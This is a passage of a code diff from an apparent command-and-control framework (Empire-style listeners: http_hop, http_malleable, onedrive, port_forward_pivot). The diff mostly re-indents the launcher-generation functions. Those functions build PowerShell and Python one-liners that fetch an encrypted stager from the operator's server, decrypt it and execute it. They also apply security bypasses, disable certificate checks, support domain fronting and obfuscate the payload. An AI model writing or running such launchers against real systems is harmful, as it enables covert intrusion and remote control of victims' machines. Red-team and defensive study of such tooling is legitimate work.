"o = urllib.request.build_opener();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(staging_key) + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(staging_key) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher - else: - return launcherBase + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - else: - log.error( - "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 04272a32b..60c99b817 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -273,319 +273,309 @@ def generate_launcher( log.error("listeners/template generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - port = listenerOptions["Port"]["Value"] - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - - # build profile - profile = malleable.Profile._deserialize(self.serialized_profile) - profile.stager.client.host = host - profile.stager.client.port = port - profile.stager.client.path = profile.stager.client.random_uri() + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if userAgent and userAgent.lower() != "default": - if ( - userAgent.lower() == "none" - and "User-Agent" in profile.stager.client.headers - ): - profile.stager.client.headers.pop("User-Agent") - else: - profile.stager.client.headers["User-Agent"] = userAgent + port = listenerOptions["Port"]["Value"] + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] - if language == "powershell": - launcherBase = '$ErrorActionPreference = "SilentlyContinue";' + # build profile + profile = malleable.Profile._deserialize(self.serialized_profile) + profile.stager.client.host = host + profile.stager.client.port = port + profile.stager.client.path = profile.stager.client.random_uri() + + if userAgent and userAgent.lower() != "default": + if ( + userAgent.lower() == "none" + and "User-Agent" in profile.stager.client.headers + ): + profile.stager.client.headers.pop("User-Agent") + else: + profile.stager.client.headers["User-Agent"] = userAgent - if safeChecks.lower() == "true": - launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){" + if language == "powershell": + launcherBase = '$ErrorActionPreference = "SilentlyContinue";' - for bypass in bypasses: - launcherBase += bypass + if safeChecks.lower() == "true": + launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){" - if safeChecks.lower() == "true": - launcherBase += ( - "};[System.Net.ServicePointManager]::Expect100Continue=0;" - ) + for bypass in bypasses: + launcherBase += bypass - # ==== DEFINE BYTE ARRAY CONVERSION ==== + if safeChecks.lower() == "true": launcherBase += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');" + "};[System.Net.ServicePointManager]::Expect100Continue=0;" ) - # ==== DEFINE RC4 ==== - launcherBase += listener_util.powershell_rc4() - - # ==== BUILD AND STORE METADATA ==== - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - routingPacketTransformed = profile.stager.client.metadata.transform( - routingPacket - ) - profile.stager.client.store( - routingPacketTransformed, profile.stager.client.metadata.terminator + # ==== DEFINE BYTE ARRAY CONVERSION ==== + launcherBase += ( + f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');" + ) + + # ==== DEFINE RC4 ==== + launcherBase += listener_util.powershell_rc4() + + # ==== BUILD AND STORE METADATA ==== + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + routingPacketTransformed = profile.stager.client.metadata.transform( + routingPacket + ) + profile.stager.client.store( + routingPacketTransformed, profile.stager.client.metadata.terminator + ) + + # ==== BUILD REQUEST ==== + launcherBase += "$wc=New-Object System.Net.WebClient;" + launcherBase += ( + "$ser=" + + helpers.obfuscate_call_home_address( + profile.stager.client.scheme + "://" + profile.stager.client.netloc ) + + ";$t='" + + profile.stager.client.path + + profile.stager.client.query + + "';" + ) - # ==== BUILD REQUEST ==== - launcherBase += "$wc=New-Object System.Net.WebClient;" - launcherBase += ( - "$ser=" - + helpers.obfuscate_call_home_address( - profile.stager.client.scheme - + "://" - + profile.stager.client.netloc + # ==== HANDLE SSL ==== + if profile.stager.client.scheme == "https": + # allow for self-signed certificates for https connections + launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + + # ==== CONFIGURE PROXY ==== + if proxy and proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += ( + "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) - + ";$t='" - + profile.stager.client.path - + profile.stager.client.query - + "';" - ) - # ==== HANDLE SSL ==== - if profile.stager.client.scheme == "https": - # allow for self-signed certificates for https connections - launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + else: + launcherBase += ( + f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" + ) + launcherBase += "$wc.Proxy = $proxy;" - # ==== CONFIGURE PROXY ==== - if proxy and proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + if proxyCreds and proxyCreds.lower() != "none": + if proxyCreds.lower() == "default": + launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" else: - launcherBase += ( - f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" - ) - launcherBase += "$wc.Proxy = $proxy;" - - if proxyCreds and proxyCreds.lower() != "none": - if proxyCreds.lower() == "default": - launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');" else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');" - - else: - usr = username.split("\\")[0] - launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');" + usr = username.split("\\")[0] + launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');" - launcherBase += "$wc.Proxy.Credentials = $netcred;" + launcherBase += "$wc.Proxy.Credentials = $netcred;" - # save the proxy settings to use during the entire staging process and the agent - launcherBase += "$Script:Proxy = $wc.Proxy;" + # save the proxy settings to use during the entire staging process and the agent + launcherBase += "$Script:Proxy = $wc.Proxy;" - # ==== ADD HEADERS ==== - for header, value in profile.stager.client.headers.items(): - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if header.lower() == "host": - launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};" + # ==== ADD HEADERS ==== + for header, value in profile.stager.client.headers.items(): + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if header.lower() == "host": + launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};" - launcherBase += f'$wc.Headers.Add("{ header }","{ value }");' + launcherBase += f'$wc.Headers.Add("{ header }","{ value }");' - # ==== SEND REQUEST ==== - if ( - profile.stager.client.verb.lower() != "get" - or profile.stager.client.body - ): - launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');" + # ==== SEND REQUEST ==== + if ( + profile.stager.client.verb.lower() != "get" + or profile.stager.client.body + ): + launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');" - else: - launcherBase += "$data=$wc.DownloadData($ser+$t);" + else: + launcherBase += "$data=$wc.DownloadData($ser+$t);" - # ==== INTERPRET RESPONSE ==== - if ( - profile.stager.server.output.terminator.type - == malleable.Terminator.HEADER - ): - launcherBase += ( - "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){" - ) - launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')" - launcherBase += "{$data=$wc.ResponseHeaders.Get($i);" - launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}" - elif ( - profile.stager.server.output.terminator.type - == malleable.Terminator.PRINT - ): - launcherBase += "" - else: - launcherBase += "" - launcherBase += profile.stager.server.output.generate_powershell_r( - "$data" + # ==== INTERPRET RESPONSE ==== + if ( + profile.stager.server.output.terminator.type + == malleable.Terminator.HEADER + ): + launcherBase += ( + "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){" ) + launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')" + launcherBase += "{$data=$wc.ResponseHeaders.Get($i);" + launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}" + elif ( + profile.stager.server.output.terminator.type + == malleable.Terminator.PRINT + ): + launcherBase += "" + else: + launcherBase += "" + launcherBase += profile.stager.server.output.generate_powershell_r("$data") - # ==== EXTRACT IV AND STAGER ==== - launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];" + # ==== EXTRACT IV AND STAGER ==== + launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];" - # ==== DECRYPT AND EXECUTE STAGER ==== - launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX" + # ==== DECRYPT AND EXECUTE STAGER ==== + launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.obfuscate( - launcherBase, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate( + launcherBase, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(launcherBase, launcher) - else: - return launcherBase + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(launcherBase, launcher) + else: + return launcherBase - elif language in ["python", "ironpython"]: - # ==== HANDLE IMPORTS ==== - launcherBase = "import sys,base64\n" - launcherBase += "import urllib.request,urllib.parse\n" + elif language in ["python", "ironpython"]: + # ==== HANDLE IMPORTS ==== + launcherBase = "import sys,base64\n" + launcherBase += "import urllib.request,urllib.parse\n" - # ==== HANDLE SSL ==== - if profile.stager.client.scheme == "https": - launcherBase += "import ssl\n" - launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n" + # ==== HANDLE SSL ==== + if profile.stager.client.scheme == "https": + launcherBase += "import ssl\n" + launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n" - # ==== SAFE CHECKS ==== - if safeChecks and safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() + # ==== SAFE CHECKS ==== + if safeChecks and safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() - launcherBase += "server='%s'\n" % (host) + launcherBase += "server='%s'\n" % (host) - # ==== CONFIGURE PROXY ==== - if proxy and proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler()\n" + # ==== CONFIGURE PROXY ==== + if proxy and proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler()\n" + else: + proto = proxy.split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'})\n" + ) + if proxyCreds and proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy)\n" else: - proto = proxy.split(":")[0] + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" + "proxy_auth_handler.add_password(None,'" + proxy - + "'})\n" + + "','" + + username + + "','" + + password + + "')\n" ) - if proxyCreds and proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy)\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "')\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n" - else: - launcherBase += "o = urllib.request.build_opener(proxy)\n" + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n" else: - launcherBase += "o = urllib.request.build_opener()\n" - # install proxy and creds globaly, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o)\n" - - # ==== BUILD AND STORE METADATA ==== - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - routingPacketTransformed = profile.stager.client.metadata.transform( - routingPacket - ) - profile.stager.client.store( - routingPacketTransformed, profile.stager.client.metadata.terminator - ) + launcherBase += "o = urllib.request.build_opener(proxy)\n" + else: + launcherBase += "o = urllib.request.build_opener()\n" + # install proxy and creds globaly, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o)\n" + + # ==== BUILD AND STORE METADATA ==== + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + routingPacketTransformed = profile.stager.client.metadata.transform( + routingPacket + ) + profile.stager.client.store( + routingPacketTransformed, profile.stager.client.metadata.terminator + ) - # ==== BUILD REQUEST ==== - launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" - launcherBase += "req=vreq('{}', {})\n".format( - profile.stager.client.url, - profile.stager.client.body, + # ==== BUILD REQUEST ==== + launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" + launcherBase += "req=vreq('{}', {})\n".format( + profile.stager.client.url, + profile.stager.client.body, + ) + launcherBase += "req.verb='" + profile.stager.client.verb + "'\n" + + # ==== ADD HEADERS ==== + for header, value in profile.stager.client.headers.items(): + launcherBase += f"req.add_header('{header}','{value}')\n" + + # ==== SEND REQUEST ==== + launcherBase += "res=urllib.request.urlopen(req)\n" + + # ==== INTERPRET RESPONSE ==== + if ( + profile.stager.server.output.terminator.type + == malleable.Terminator.HEADER + ): + launcherBase += "head=res.info().dict\n" + launcherBase += "a=head['{}'] if '{}' in head else ''\n".format( + profile.stager.server.output.terminator.arg, + profile.stager.server.output.terminator.arg, ) - launcherBase += "req.verb='" + profile.stager.client.verb + "'\n" + launcherBase += "a=urllib.parse.unquote(a)\n" + elif ( + profile.stager.server.output.terminator.type + == malleable.Terminator.PRINT + ): + launcherBase += "a=res.read()\n" + else: + launcherBase += "a=''\n" + launcherBase += profile.stager.server.output.generate_python_r("a") - # ==== ADD HEADERS ==== - for header, value in profile.stager.client.headers.items(): - launcherBase += f"req.add_header('{header}','{value}')\n" + # download the stager and extract the IV + launcherBase += "a=urllib.request.urlopen(req).read();\n" + launcherBase += listener_util.python_extract_stager(stagingKey) - # ==== SEND REQUEST ==== - launcherBase += "res=urllib.request.urlopen(req)\n" - - # ==== INTERPRET RESPONSE ==== - if ( - profile.stager.server.output.terminator.type - == malleable.Terminator.HEADER - ): - launcherBase += "head=res.info().dict\n" - launcherBase += "a=head['{}'] if '{}' in head else ''\n".format( - profile.stager.server.output.terminator.arg, - profile.stager.server.output.terminator.arg, - ) - launcherBase += "a=urllib.parse.unquote(a)\n" - elif ( - profile.stager.server.output.terminator.type - == malleable.Terminator.PRINT - ): - launcherBase += "a=res.read()\n" - else: - launcherBase += "a=''\n" - launcherBase += profile.stager.server.output.generate_python_r("a") - - # download the stager and extract the IV - launcherBase += "a=urllib.request.urlopen(req).read();\n" - launcherBase += listener_util.python_extract_stager(stagingKey) - - if obfuscate: - stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher - else: - return launcherBase + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - else: - log.error( - "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = ( + "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) + ) + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 6bead8585..78ed21636 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -211,100 +211,90 @@ def generate_launcher( log.error("listeners/onedrive generate_launcher(): No language specified") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listener_options = active_listener.options - - launcher_cmd = listener_options["Launcher"]["Value"] - staging_key = listener_options["StagingKey"]["Value"] - - if language.startswith("power"): - launcher = "" - if safeChecks.lower() == "true": - launcher += "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - launcher += bypass - launcher += ( - "};[System.Net.ServicePointManager]::Expect100Continue=0;" - ) + active_listener = self + # extract the set options for this instantiated listener + listener_options = active_listener.options - launcher += "$wc=New-Object System.Net.WebClient;" + launcher_cmd = listener_options["Launcher"]["Value"] + staging_key = listener_options["StagingKey"]["Value"] - if userAgent.lower() == "default": - profile = listener_options["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - launcher += f"$u='{ userAgent }';" + if language.startswith("power"): + launcher = "" + if safeChecks.lower() == "true": + launcher += "If($PSVersionTable.PSVersion.Major -ge 3){" - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - launcher += "$wc.Headers.Add('User-Agent',$u);" + for bypass in bypasses: + launcher += bypass + launcher += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - if proxy.lower() != "none": - if proxy.lower() == "default": - launcher += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + launcher += "$wc=New-Object System.Net.WebClient;" - else: - launcher += "$proxy=New-Object Net.WebProxy;" - launcher += f"$proxy.Address = '{ proxy.lower() }';" - launcher += "$wc.Proxy = $proxy;" + if userAgent.lower() == "default": + profile = listener_options["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + launcher += f"$u='{ userAgent }';" - if proxyCreds.lower() == "default": - launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + launcher += "$wc.Headers.Add('User-Agent',$u);" + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcher += ( + "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + ) else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - launcher += "$wc.Proxy.Credentials = $netcred;" - - launcher += "$Script:Proxy = $wc.Proxy;" - - # code to turn the key string into a byte array - launcher += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + launcher += "$proxy=New-Object Net.WebProxy;" + launcher += f"$proxy.Address = '{ proxy.lower() }';" + launcher += "$wc.Proxy = $proxy;" - # this is the minimized RC4 launcher code from rc4.ps1 - launcher += listener_util.powershell_rc4() + if proxyCreds.lower() == "default": + launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - launcher += f"$data=$wc.DownloadData('{self.stager_url}');" - launcher += "$iv=$data[0..3];$data=$data[4..$data.length];" - launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX" + else: + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + launcher += "$wc.Proxy.Credentials = $netcred;" - # Remove comments and make one line - launcher = helpers.strip_powershell_comments(launcher) - launcher = data_util.ps_convert_to_oneliner(launcher) + launcher += "$Script:Proxy = $wc.Proxy;" - if obfuscate: - launcher = self.mainMenu.obfuscationv2.obfuscate( - launcher, - obfuscation_command=obfuscation_command, - ) - launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) + # code to turn the key string into a byte array + launcher += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(launcher, launcher_cmd) - else: - return launcher + # this is the minimized RC4 launcher code from rc4.ps1 + launcher += listener_util.powershell_rc4() - if language.startswith("pyth"): - log.error( - "listeners/onedrive generate_launcher(): Python agent not implemented yet" + launcher += f"$data=$wc.DownloadData('{self.stager_url}');" + launcher += "$iv=$data[0..3];$data=$data[4..$data.length];" + launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + launcher = helpers.strip_powershell_comments(launcher) + launcher = data_util.ps_convert_to_oneliner(launcher) + + if obfuscate: + launcher = self.mainMenu.obfuscationv2.obfuscate( + launcher, + obfuscation_command=obfuscation_command, ) - return "Python not implemented yet" + launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) + + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(launcher, launcher_cmd) + else: + return launcher + + if language.startswith("pyth"): + log.error( + "listeners/onedrive generate_launcher(): Python agent not implemented yet" + ) + return "Python not implemented yet" def generate_stager( self, diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index b337fd493..543bf56c6 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -105,314 +105,297 @@ def generate_launcher( log.error("listeners/template generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if language.startswith("po"): - # PowerShell + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + if language.startswith("po"): + # PowerShell - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - stager += "$wc=New-Object System.Net.WebClient;" + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" + stager += "$wc=New-Object System.Net.WebClient;" - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" - else: - # TODO: implement form for other proxy - stager += ( - f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" - ) - stager += "$wc.Proxy = $proxy;" + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + else: + # TODO: implement form for other proxy + stager += ( + f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" + ) + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');" else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');" - - else: - usr = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');" - - stager += "$wc.Proxy.Credentials = $netcred;" - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + usr = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');" + + stager += "$wc.Proxy.Credentials = $netcred;" + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" 